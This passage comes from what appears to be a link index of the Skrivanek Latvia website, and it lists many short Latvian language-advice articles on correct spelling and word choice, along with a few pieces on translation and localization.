attīstību un vārdu krājumu. - [Late Makjato](https://skrivanek.lv/late-makjato/): Zināji – late makjato nav tas pats, kas latte? Atklāj atšķirības starp kafijas dzērieniem un pārsteidz draugus ar zināšanām par baristu mākslu - [Kas ir Ābece?](https://skrivanek.lv/kas-ir-abece/): Ābece ir pirmā grāmata, kas tiek izmantota lasītprasmes apguvei. Šajā rakstā lasi par latviešu valodas un latgaliešu valodas ābeces vēsturi. - [Kas ir Saulgrieži?](https://skrivanek.lv/kas-ir-saulgriezi/): Kas ir saulgrieži un kādi saulgrieži tiek atzīmēti Latvijā? Kā ziemas un vasaras saulgriežus svin visā pasaulē? Ieskaties! - [Eseja “Valoda – mana iespēja”](https://skrivanek.lv/eseja-valoda-mana-iespeja/): ESEJA “VALODA – MANA IESPĒJA” Autors: Jānis Lapiņš, Aizkraukles novada ģimnāzija, 10... . - [Katram tulkojumam ir nepieciešams skats no malas: korektora loma tulkotāju darbā](https://skrivanek.lv/korektora-loma-tulkotaju-darba/): Par to, kādu pievienoto vērtību rada korektora darbs tulkošanās procesā – lasi šajā Skrivanek rakstā. - [No A līdz Ž – kvalitatīva tiešsaistes pasākuma ābece](https://skrivanek.lv/no-a-lidz-z-kvalitativa-tiessaistes-pasakuma-abece/): Šajā rakstā ir uzskaitīti pāris pieredzē balstīti soļi, kas palīdzēs organizēt nākamo tiešsaistes pasākumu. - [Palaikam pret laiku pa laikam pret ik pa laikam](https://skrivanek.lv/palaikam-pret-laiku-pa-laikam-pret-ik-pa-laikam/): Saule izspraucas caur mākoņiem pa laikam vai palaikam? Ieskaties un uzzini pareizo atbildi! Daudzi citi noderīgi latviešu valodas padomi. - [Nelokāmie skaitļa vārdi](https://skrivanek.lv/nelokamie-skaitla-vardi/): Esam pazīstami vairāk nekā divdesmit gadu vai divdesmit gadus? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Samits pret sammits](https://skrivanek.lv/samits-pret-sammits/): Vai valstu vadītāji tiekas samitā vai sammitā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Variet pret varat](https://skrivanek.lv/variet-pret-varat/): Esmu drošs, ka variet to atļauties vai, ka varat to atļauties? Ieskaties un uzzini! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Tekvondo pret teikvondo pret teikvando](https://skrivanek.lv/tekvondo-pret-teikvondo-pret-teikvando/): Jaunieši apmeklē tekvondo, teikvondo vai teikvando treniņus? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Maljorka pret Maļorka](https://skrivanek.lv/maljorka-pret-malorka/): Spānijai piederošā sala ir Maljorka vai Maļorka? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Inventarizācija pret inventerizācija](https://skrivanek.lv/inventarizacija-pret-inventerizacija/): Veikalā notiks inventarizācija vai inventerizācija? Uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Darba diena pret darbadiena pret darbdiena](https://skrivanek.lv/darba-diena-pret-darbadiena-pret-darbdiena/): Kādos gadījumos lietosim darba diena, darbadiena un darbdiena? Ieskaties un uzzini atbildi! Daudzi citi latviešu valodas padomi vienuviet! - [Tikumīgs pret tikumisks](https://skrivanek.lv/tikumigs-pret-tikumisks/): Cilvēks ir tikumīgs vai tikumisks? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Asistants pret asistents](https://skrivanek.lv/asistants-pret-asistents/): Vai direktoram ir asistants vai asistents? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Diktafons pret diktofons](https://skrivanek.lv/diktafons-pret-diktofons/): Vai ierakstīsim sarunu diktafonā vai diktofonā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Tornado pret tornādo](https://skrivanek.lv/tornado-pret-tornado/): Ziemeļamerikā plosās tornado vai tornādo? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Ap vieniem diviem naktī pret ap vieniem, diviem naktī](https://skrivanek.lv/ap-vieniem-diviem-nakti/): Viņš atbrauca ap vieniem diviem naktī vai ap vieniem, diviem naktī? Vai šajā gadījumā ir jāliek komats? Ieskaties un uzzini pareizo atbildi! - [Rožu šķirne “Smaida” pret rožu šķirne 'Smaida'](https://skrivanek.lv/rozu-skirne-smaida/): Rožu šķirne “Smaida” vai 'Smaida'? Ienāc un uzzini kādos gadījumos lieto vienpēdiņas. Apskati arī citus noderīgus latviešu valodas padomus! - [Puse no negadījumiem vai puse negadījumu](https://skrivanek.lv/puse-no-negadijumiem-pret-puse-negadijumu/): Mūsdienās šāds prievārda „no” lietojums vairs netiek uzskatīts par nevēlamu un ir kļuvis par valodas normu. Šis un citi latviešu valodas padomi vienuviet. - [Rietumi pret rietumi](https://skrivanek.lv/rietumi/): Raugāmies Rietumu virzienā vai rietumu virzienā? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. Ieskaties! - [Pīķa stunda pret maksimumstunda](https://skrivanek.lv/pika-stunda-pret-maksimumstunda/): Neapmeklēsim lielveikalus pīķa stundās vai maksimumstundās? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kondicionieris pret kondicionētājs](https://skrivanek.lv/kondicionieris-pret-kondicionetajs/): Vai sacīsim kondicionieris vai kondicionētājs? Ieskaties un uzzini pareizo atbildi! Daudzi citi noderīgi latviešu valodas padomi vienuviet. - [Koronovīruss pret koronavīruss pret koronvīruss](https://skrivanek.lv/koronoviruss-pret-koronaviruss-pret-koronviruss/): Kā pareizi saukt šobrīd pasaulē uzliesmojušo vīrusu – koronovīruss, koronavīruss vai koronvīruss? Daudzi noderīgi latviešu valodas padomi! - [Remigrēt pret reemigrēt](https://skrivanek.lv/remigret-pret-reemigret/): Vai ģimene remigrē vai reemigrē uz Latviju? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Ūdenstilpe pret ūdenstilpne](https://skrivanek.lv/udenstilpe-pret-udenstilpne/): Vai ezers ir ūdenstilpe vai ūdenstilpne? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Piranja pret piraija pret piraja pret piraņa](https://skrivanek.lv/piranja-pret-piraija-pret-piraja-pret-pirana/): Kādu vārdu lietosim, lai apzīmētu Dienvidamerikā mītošo, plēsīgo saldūdens zivi – piranja, piraija, piraja vai piraņa? Uzzini atbildi! - [Kajennas pret Kajenas pret Kajēnas pret Kaijēnas pipari](https://skrivanek.lv/kajennas-pret-kajenas-pret-kajenas-pret-kaijenas-pipari/): Vai pikanto, aso dienvidzemju garšvielu sauksim par Kajennas, Kajenas, Kajēnas vai Kaijēnas pipariem? Ieskaties un uzzini atbildi! - [Personāla nodaļa pret personāla daļa pret personāla departaments](https://skrivanek.lv/personala-nodala-pret-personala-dala-pret-personala-departaments/): Kā pareizi saukt atsevišķu vienību uzņēmumā vai iestādē – nodaļa, daļa vai departaments? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Kultūras produkts un dizaina domāšana?](https://skrivanek.lv/kulturas-produkts-un-dizaina-domasana/): Pēdējos gados valodas sargus satraukusi angļu valodas arvien ņiprākā spraukšanās mūsu ikdienā. Tiek lēsts, ka 90 procentu no aizguvumiem ir tieši angļu valodas ietekmes rezultāts, ko veicina šīs valodas internacionālā nozīme un, protams, arī straujā tehnoloģiju ienākšana mūsu dzīvēs. - [Kas tie tādi – iedvesmīši, domveži, ietekmētāji?](https://skrivanek.lv/kas-tie-tadi-iedvesmisi-domvezi-ietekmetaji/): Kā atveidojams latviešu valodā termins "influenceri" – cilvēki, kas sociālo tīklu platformās izplata un reklamē produktus? Lasi šajā rakstā! - [Grilēt pret grillēt](https://skrivanek.lv/grilet-pret-grillet/): Vai dārzeņus un gaļu grilēsim vai grillēsim? Daudzi noderīgi latviešu valodas padomi vienuviet! Ieskaties un uzzini atbildi! - [Meistarklase vai meisterklase](https://skrivanek.lv/meistarklase-pret-meisterklase/): Vai apmeklēsim meistarklasi vai meisterklasi? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Applūdināt pret appludināt](https://skrivanek.lv/appludinat-pret-appludinat/): Vai dzīvokli kaimiņš applūdina vai appludina? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Tālskaša pret tālskata](https://skrivanek.lv/talskasa-pret-talskata/): Vai es pielieku aci pie tālskaša vai tālskata? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Jānim Klints pret Jānim Klintij pret Jānim Klintim](https://skrivanek.lv/janim-klints-pret-janim-klintij-pret-janim-klintim/): Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Iznesīsi miskasti?](https://skrivanek.lv/iznesisi-miskasti/): Virsraksts „Zelta atkritumi. Rīdziniekiem būs jāmaina miskastes paradumi un jāmaksā vairāk” licis domāt par vārdu „miskaste”: kā tas radies? Vai tam ir saistība ar vārdu „mist”, proti, „dzīvot”? - [E-pasts vai epasts](https://skrivanek.lv/e-pasts-pret-epasts/): Rakstīsim epasta vai e-pasta vēstuli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Madracis pret matracis](https://skrivanek.lv/madracis-pret-matracis/): Rakstīsim „madracis” vai „matracis”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Intraverts pret introverts](https://skrivanek.lv/intraverts-pret-introverts/): Vai noslēgtie un atturīgie ir intraverti vai introverti? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Jautājumus, kurus jārisina pret jautājumus, kuri jārisina](https://skrivanek.lv/jautajumus-kurus-jarisina-pret-jautajumus-kuri-jarisina/): Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Planšešu vai planšetu](https://skrivanek.lv/plansesu-pret-plansetu/): Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. Ieskaties un uzzini atbildi! - [Annai Straujā pret Annai Straujai pret Annai Straujajai](https://skrivanek.lv/annai-strauja-pret-annai-straujai-pret-annai-straujajai/): Ieskaties un uzzini kā pareizi locīt šo uzvārdu. Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [10.00–12.30 pret 10.00-12.30 pret 10.00 – 12.30](https://skrivanek.lv/10-00-lidz-12-30/): 10.00–12.30, 10.00-12.30 vai 10.00 – 12.30? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Paldies, Jānim pret paldies Jānim](https://skrivanek.lv/paldies-janim/): Ieskaties un uzzini pareizo atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Brušeta pret bruščeta pret brusketa](https://skrivanek.lv/bruseta-pret-brusceta-pret-brusketa/): Vai uzkodīsim brušetu, bruščetu vai varbūt brusketu? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Humoss pret humuss](https://skrivanek.lv/humoss-pret-humuss/): Ēdīsim humosu vai humusu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Datu bāze pret datubāze](https://skrivanek.lv/datu-baze-pret-datubaze/): Datus apkopo datu bāzēs vai datubāzēs? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - [Bulciņa pret maizīte](https://skrivanek.lv/bulcina-pret-maizite/): Skolā ir bulciņu vai maizīšu aizliegums? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Iebilst lēmumam pret iebilst pret lēmumu](https://skrivanek.lv/iebilst-lemumam-pret-iebilst-pret-lemumu/): Vai iebildīsim par kādu lēmumu vai pret to? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Džinsas pret džinsi pret džinss](https://skrivanek.lv/dzinsas-pret-dzinsi-pret-dzinss/): Kā dēvēsim bikses, kā – audumu, no kura tās šuj? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Rakstīt uz datora pret rakstīt ar datoru](https://skrivanek.lv/rakstit-uz-datora-pret-rakstit-ar-datoru/): Vai dokumentus rakstīsim ar datoru vai uz datora? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Islams pret islāms](https://skrivanek.lv/islams/): Šobrīd Eiropā kūsā runas par bēgļiem un viņu reliģisko piederību – kā pareizi rakstīsim šīs reliģijas nosaukumu: islams vai islāms? Uzzini! - [Manikens pret manekens](https://skrivanek.lv/manikens-pret-manekens/): Kā rakstīsim: manikens vai manekens? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ziemassvētki pret ziemas saulgrieži](https://skrivanek.lv/ziemassvetki-pret-ziemas-saulgriezi/): Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Adresu pret adrešu](https://skrivanek.lv/adresu/): Vai adreses meklējamas adresu vai adrešu grāmatā? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Krokodils pret krokodīlis pret krokodīls](https://skrivanek.lv/krokodils-pret-krokodilis-pret-krokodils/): Kā pareizi sauksim šo rāpuli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Līmlente pret līplente](https://skrivanek.lv/limlente-pret-liplente/): Kas ir līmlente un kas – līplente? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Bangkoka pret Bangoka pret Bankoka](https://skrivanek.lv/bangkoka-pret-bangoka-pret-bankoka/): Kā pareizi rakstāma Taizemes galvaspilsēta – Bankoka, Bangkoka vai Bangoka? Uzzini! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Bendzīns pret benzīns](https://skrivanek.lv/bendzins-pret-benzins/): Kā pareizi sauksim šo degvielas veidu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Drošība pret drošums](https://skrivanek.lv/drosiba-pret-drosums/): Ar ko atšķiras drošība no drošuma? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Koktēlis pret kokteilis](https://skrivanek.lv/koktelis-pret-kokteilis/): Gatavosim saldējuma koktēli vai kokteili? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Rīdzinieks pret rīdzenieks](https://skrivanek.lv/ridzinieks-pret-ridzenieks/): Kā sauksim Rīgas iedzīvotājus – par rīdzeniekiem vai rīdziniekiem? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Slimība pret saslimšana](https://skrivanek.lv/slimiba-pret-saslimsana/): Difterija ir slimība vai saslimšana? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Žanrs pret žandrs](https://skrivanek.lv/zanrs-pret-zandrs/): Komēdija ir „žanrs” vai „žandrs”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Alkahols pret alkohols](https://skrivanek.lv/alkahols-pret-alkohols/): In vino veritas – vai rakstīsim „alkahols” vai „alkohols”? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Džentelmenis vai džentlmenis](https://skrivanek.lv/dzentelmenis-vai-dzentlmenis/): Kā ir pareizi: džentelmeņu klubs vai džentlmeņu klubs? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Efektīva satura lokalizācija – panākumu atslēga ceļā uz ārvalstu tirgiem](https://skrivanek.lv/efektiva-satura-lokalizacija-panakumu-atslega-cela-uz-arvalstu-tirgiem/): Lasiet rakstu un uzziniet, kādi ir pieci Skrivanek Baltic padomi par produktu lokalizāciju jauniem eksporta tirgiem. - [Vai izlejams vienmēr ir izmetams?](https://skrivanek.lv/vai-izlejams-vienmer-ir-izmetams/): Par strīdus ābolu nu kļuvis jautājums, kā dēvēt alu, kas pildīts no mucas – lejamais, izlejamais vai varbūt ielejamais alus? - [Ņemt dalību pret piedalīties](https://skrivanek.lv/nemt-dalibu-pret-piedalities/): Vai varam ņemt dalību? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Avokado pret avokādo](https://skrivanek.lv/avokado/): Kā precīzi rakstāms šī sviesta augļa nosaukums? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Harakiri pret harikiri](https://skrivanek.lv/harakiri-pret-harikiri/): Kā rakstīsim šo seno pašnāvības veidu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Pasākumu apmeklējuši desmit interesenti pret pasākumu apmeklējuši desmit interesentu](https://skrivanek.lv/pasakumu-apmeklejusi-desmit-interesenti-pret-pasakumu-apmeklejusi-desmit-interesentu/): Pasākumu apmeklējuši desmit interesenti vai pasākumu apmeklējuši desmit interesentu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Luksus viesnīca pret luksusa viesnīca](https://skrivanek.lv/luksus-viesnica-pret-luksusa-viesnica/): Vasara ir ceļojumu laiks – atpūtīsimies luksus viesnīcā vai luksusa viesnīcā? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Čemodāns pret koferis pret sakvojāžs](https://skrivanek.lv/cemodans-pret-koferis-pret-sakvojazs/): Kur saliksim ceļojumam nepieciešamo – čemodānā vai koferī? Vai derēs arī sakvojāžs? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Buratino pret Buratīno](https://skrivanek.lv/buratino-pret-buratino/): Piedzīvojumos dodas Buratino vai Buratīno? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Stroganovs pret strogonovs](https://skrivanek.lv/stroganovs-pret-strogonovs/): Kā sauksim šo gaļas ēdienu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Deklarācija pret deklerācija](https://skrivanek.lv/deklaracija-pret-dekleracija/): Vai pildīsim ienākumu deklarāciju vai deklerāciju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Piederēt pret piederēties](https://skrivanek.lv/piederet-pret-piedereties/): Kas mums pieder, un kas mums piederas? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Dekāde pret desmitgade](https://skrivanek.lv/dekade-pret-desmitgade/): Vai pēdējos desmit gadus dēvēsim par dekādi vai desmitgadi? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Napaleons vai Napoleons](https://skrivanek.lv/napaleons-pret-napoleons/): Kā rakstāms imperatora vārds? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Printers pret printeris](https://skrivanek.lv/printers-pret-printeris/): Printers vai printeris – kā ir pareizi? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Solīds pret zolīds](https://skrivanek.lv/solids-pret-zolids/): Kungs ir solīds vai zolīds? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Mannas putra pret mannā putra](https://skrivanek.lv/mannas-putra-pret-manna-putra/): Brīvdienu rītā sevi lutināsim ar mannas putru vai mannā putru? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Atgriešanās pret atgriezšanās](https://skrivanek.lv/atgriesanas-pret-atgriezsanas/): Vai mēs gaidām kāda atgriešanos vai atgriezšanos mājās? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Viņš zin pret viņš zina](https://skrivanek.lv/vins-zin-pret-vins-zina/): Viņš zin vai zina labāk? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Stārtaps pret jaunuzņēmums](https://skrivanek.lv/startaps-pret-jaunuznemums/): Dibināsim stārtapu vai jaunuzņēmumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Psihologs Anna pret psiholoģe Anna](https://skrivanek.lv/psihologs-anna-pret-psihologe-anna/): Vai Anna ir psihologs vai psiholoģe? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Skārienjutīgs ekrāns pret skārienekrāns](https://skrivanek.lv/skarienjutigs-ekrans-pret-skarienekrans/): Vai mūsu jaunajam telefonam ir skārienjutīgs ekrāns vai skārienekrāns? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Desmitām reižu pret desmitiem reižu](https://skrivanek.lv/desmitam-reizu-pret-desmitiem-reizu/): Vai Jānim viss tiek atkārtots desmitām vai desmitiem reižu? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [K. Barona iela pret Kr. Barona iela](https://skrivanek.lv/k-barona-iela-pret-kr-barona-iela/): Vai ielas nosaukumā lietosim saīsinājumu K. vai Kr.? Ieskaties un uzzini atbildi! Daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Halturēt pret haltūrēt](https://skrivanek.lv/halturet/): Mēs mēdzam halturēt vai haltūrēt? Uzzini pareizo atbildi! Šis un citi noderīgi latviešu valodas padomi vienuviet! - [Grafiti pret graffiti](https://skrivanek.lv/grafiti-pret-graffiti/): Uz sienas redzam grafiti vai graffiti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Pavaroti pret Pavarotti](https://skrivanek.lv/pavaroti-pret-pavarotti/): Vai filma uzņemta par tenoru Pavaroti vai Pavarotti? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Pērnais mēnesis pret pagājušais mēnesis](https://skrivanek.lv/pernais-menesis-pret-pagajusais-menesis/): Vai vairāk saules redzējām pērnajā vai pagājušajā mēnesī? Uzzini atbildi! Daudzi noderīg latviešu valodas padomi vienuviet! - [Rapsis pret rapši](https://skrivanek.lv/rapsis-pret-rapsi/): Vai laukā aug rapsis vai rapši? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Vairāk bedres pret vairāk bedru](https://skrivanek.lv/vairak-bedres-pret-vairak-bedru/): Uz ceļa ir vairāk bedres vai vairāk bedru? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Mostos pret možos](https://skrivanek.lv/mostos-pret-mozos/): Vai es no rīta mostos vai možos prieka pilns? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Rakstpratība pret rakstītprasme](https://skrivanek.lv/rakstpratiba-pret-rakstitprasme/): Nesen aizvadījām Starptautisko rakstpratības vai rakstītprasmes dienu? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Pareizi atslēgvārdi – atslēga uz izdošanos](https://skrivanek.lv/pareizi-atslegvardi-atslega-uz-izdosanos/): Ieskaties un uzzini noderīgus padomus kādus atslēgasvārdus izmantot, lai ātri un efektīvu meklētājā atrastu vajadzīgo informāciju! - [Lekt pret lēkt](https://skrivanek.lv/lekt/): Mums ir bail lekt vai lēkt ar izpletni? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Konsilijs pret konsīlijs](https://skrivanek.lv/konsilijs/): Vai sasauksim konsiliju vai konsīliju? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - [Kombinezons pret kombinzons](https://skrivanek.lv/kombinezons-pret-kombinzons/): Slēpošanai noderīgs ir kombinezons vai kombinzons? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Dēļ pret rezultātā](https://skrivanek.lv/del-pret-rezultata/): Avārija notika sliktā ceļa stāvokļa rezultātā vai sliktā ceļa stāvokļa dēļ? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Viņš mokās pret viņš mocās](https://skrivanek.lv/vins-mokas-pret-vins-mocas/): Vai Jānis mocās sirdsapziņas pārmetumos vai Jānis mokās sirdsapziņas pārmetumos? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Aicinam pret aicinām](https://skrivanek.lv/aicinam/): Mēs aicinam vai aicinām Juri ciemos? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Trūkst darbinieki pret trūkst darbinieku](https://skrivanek.lv/trukst-darbinieki-pret-trukst-darbinieku/): Vai rūpnīcā trūkst darbinieki vai darbinieku? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Mati lūst vai mati lūzt](https://skrivanek.lv/mati-lust-pret-mati-luzt/): Sūdzamies par to, ka mati lūst vai lūzt? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Džeims pret Džeimss](https://skrivanek.lv/dzeims-pret-dzeimss/): Vai no Lielbritānijas pie mums brauc Džeims vai Džeimss? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Blendēt pret blenderēt](https://skrivanek.lv/blendet-pret-blenderet/): Vai saldējumu ar augļiem blendēsim vai blenderēsim? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Sniegpulkstenīte pret sniegpulkstenītis](https://skrivanek.lv/sniegpulkstenite-pret-sniegpulkstenitis/): Vai agri pavasarī mūs iepriecina sniegpulkstenītes vai sniegpulkstenīši? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Papīriņš pret papīrītis](https://skrivanek.lv/papirins-pret-papiritis/): Uz galda mētājas papīriņš vai papīrītis? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Alus someljē pret alzinis pret aluszinis](https://skrivanek.lv/alus-somelje-pret-alzinis-pret-aluszinis/): Alus meistarklasi vadīs alus someljē, alzinis vai aluszinis? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Silīcija ieleja pret Silikona ieleja](https://skrivanek.lv/silicija-ieleja-pret-silikona-ieleja/): Kā sauksim šo tehnoloģiju ražotnes centru? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Snukers pret snūkers](https://skrivanek.lv/snukers/): Kā jādēvē šī biljardam līdzīgā spēle? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Visapkārt krītošās cenas](https://skrivanek.lv/visapkart-kritosas-cenas/): Šoreiz iemetīsim aci tirdzniecībā – ko aizraujošu mums piedāvā valodas meistari? Uzzini šajā Skrivanek rakstā! - [Alfabets pret alfabēts](https://skrivanek.lv/padoms-alfabets/): Vai burts „a” ir pirmais burts latviešu alfabetā vai alfabētā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Matraci, dodies misijā!](https://skrivanek.lv/matraci-dodies-misija/): Plašsaziņas līdzekļos ir populāras reklāmas, kurās stāstīts par matraču misiju. Vai krēslu, galdu, gultu un matraču uzdevums mūsu dzīvē būtu dēvējams par misiju? - [Lai nesalūstu pret lai nesalūztu](https://skrivanek.lv/lai-nesalustu-pret-lai-nesaluztu/): Vai plaukti jānostiprina, lai tie nesalūstu vai nesalūztu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [100-gade pret simtgade](https://skrivanek.lv/100-gade-pret-simtgade/): Vai valstis svin 100-gadi vai simtgadi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Ne tikvien – bet arī pret ne tik vien – bet arī](https://skrivanek.lv/ne-tikvien-bet-ari-pret-ne-tik-vien-bet-ari/): Vai Gatis ne tik vien prāto, bet arī rīkojas, vai Gatis ne tikvien prāto, bet arī rīkojas? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Tālrunis pret 